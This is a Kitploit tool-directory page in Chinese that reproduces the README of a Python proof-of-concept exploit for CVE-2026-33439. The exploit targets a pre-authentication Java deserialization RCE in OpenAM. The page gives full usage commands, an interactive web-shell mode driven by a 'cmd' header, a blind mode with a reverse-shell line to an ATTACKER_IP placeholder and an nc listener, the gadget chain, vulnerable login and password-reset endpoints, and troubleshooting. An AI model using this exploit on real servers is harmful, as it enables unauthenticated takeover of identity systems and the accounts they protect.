Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33439-PoC — Python PoC,利用 CVE-2026-33439——OpenAM 中通过 jato.clientSession 参数 Java 反序列化实现的预认证 RCE,支持交互式和盲注 shell 模式。 | Kitploit
工具/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubjonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

Python PoC,利用 CVE-2026-33439——OpenAM 中通过 jato.clientSession 参数 Java 反序列化实现的预认证 RCE,支持交互式和盲注 shell 模式。

查看仓库
17820天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33439 — OpenAM 预认证 RCE

OpenIdentityPlatform OpenAM <= 16.0.5 中通过 jato.clientSession 参数的不安全 Java 反序列化实现的预认证远程代码执行(CVSS 9.8)。

仅限授权安全测试使用。

快速开始

# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

环境要求

  • Python 3.10+(仅使用标准库,无需 pip install)
  • JDK 21(用于 build.py — 必须与目标服务器的 JVM 版本匹配;JDK 25 会生成不兼容的序列化对象)

两种模式

交互模式(默认)— 输出在 HTTP 响应中

EvilTranslet 从请求中读取 cmd HTTP 头,执行该命令,并将 stdout 直接写入 HTTP 响应。无需监听器。

# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

盲注模式 — 用于反弹 shell / OOB

命令被硬编码到 EvilTranslet 字节码中。不会返回任何输出;请使用监听器(nc 等)来接收回调。

# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

所有选项

build.py

标志描述
(无标志)构建交互式 payload(运行时读取 cmd 头)
--command "CMD"构建将 CMD 硬编码到字节码中的盲注 payload
--jars DIR使用本地 JARs 目录而非下载(默认:./libs)
--download-only仅下载 JARs,不编译

exploit.py

标志描述
--url URL目标 URL(必填)— 完整端点或配合 --probe/--all 使用的基础 URL
--shell交互式伪 shell(交互模式)
--probe从基础 URL 自动检测存在漏洞的端点
--all将 payload 投递到所有 JATO 端点(盲注模式)
--method GET|POSTHTTP 投递方法(默认:GET)
--proxy URLHTTP 代理(例如 http://127.0.0.1:8080 用于 Burp)
--timeout SECS请求超时(默认:15)
--verify-tls启用 TLS 证书验证
--debug显示请求/响应详情

Payload 透明度

所有源代码都在仓库中 — 没有不透明的二进制块。Java 源代码以可读的字符串常量形式嵌入在 build.py 中。构建后,验证输出:

python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Gadget 链

PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet(交互模式)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — 通过 webapp 类加载器获取 HTTP 请求/响应
  2. request.getHeader("cmd") — 读取命令
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — 执行
  4. response.reset() — 清除之前的任何 JSP 输出
  5. 将 stdout 以 text/plain 写入响应,然后关闭输出流

EvilTranslet(盲注模式)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — 触发后即不管

存在漏洞的端点

任何渲染 <jato:form> 标签且可在预认证状态下访问的 JATO ViewBean 端点:

端点备注
/openam/ui/PWResetUserValidation密码重置(最可靠)
/openam/ui/PWResetQuestion密码重置安全问题
/openam/ui/Login登录页面

故障排除

症状原因修复
返回 HTML 页面而非命令输出JSP 覆盖了响应使用交互式 payload 配合 --shell;或切换到盲注模式
反序列化未触发JDK 版本不匹配使用 JDK 21 重新构建:export JAVA_HOME=/path/to/jdk-21
TLS 握手超时服务器要求 SNI 主机名将目标添加到 /etc/hosts 并使用主机名而非 IP
javac 未找到未安装 JDKapt install openjdk-21-jdk

参考资料

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

许可证

MIT

下载工具